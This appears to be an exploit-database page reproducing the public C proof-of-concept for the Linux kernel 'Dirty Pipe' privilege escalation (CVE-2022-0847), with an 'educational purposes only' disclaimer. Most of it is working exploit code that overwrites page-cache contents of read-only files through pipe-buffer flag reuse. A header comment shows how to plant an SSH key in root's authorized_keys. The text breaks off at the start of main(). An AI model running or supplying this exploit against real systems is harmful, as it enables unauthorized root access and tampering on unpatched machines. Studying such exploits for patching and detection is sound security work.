Linux kernel 5.8 < 5.16.11 local privilege escalation (dirtypipe) Vulnerability / Exploit
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Exploits / Vulnerability Discovered : 2022-03-08 |
Type : local |
Platform : linux
This exploit / vulnerability Linux kernel 5.8 < 5.16.11 local privilege escalation (dirtypipe) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
// Exploit Title: Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe)
// Exploit Author: blasty (peter@haxx.in)
// Original Author: Max Kellermann (max.kellermann@ionos.com)
// CVE: CVE-2022-0847
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int hax(char *filename, long offset, uint8_t *data, size_t len) {
/* open the input file and validate the specified offset */
const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return -1;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return -1;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return -1;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return -1;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, len);
if (nbytes < 0) {
perror("write failed");
return -1;
}
if ((size_t)nbytes < len) {
fprintf(stderr, "short write\n");
return -1;
}
close(fd);
return 0;
}
int main(int argc, char **argv) {
if (argc != 2) {
fprintf(stderr, "Usage: %s SUID\n", argv[0]);
return EXIT_FAILURE;
}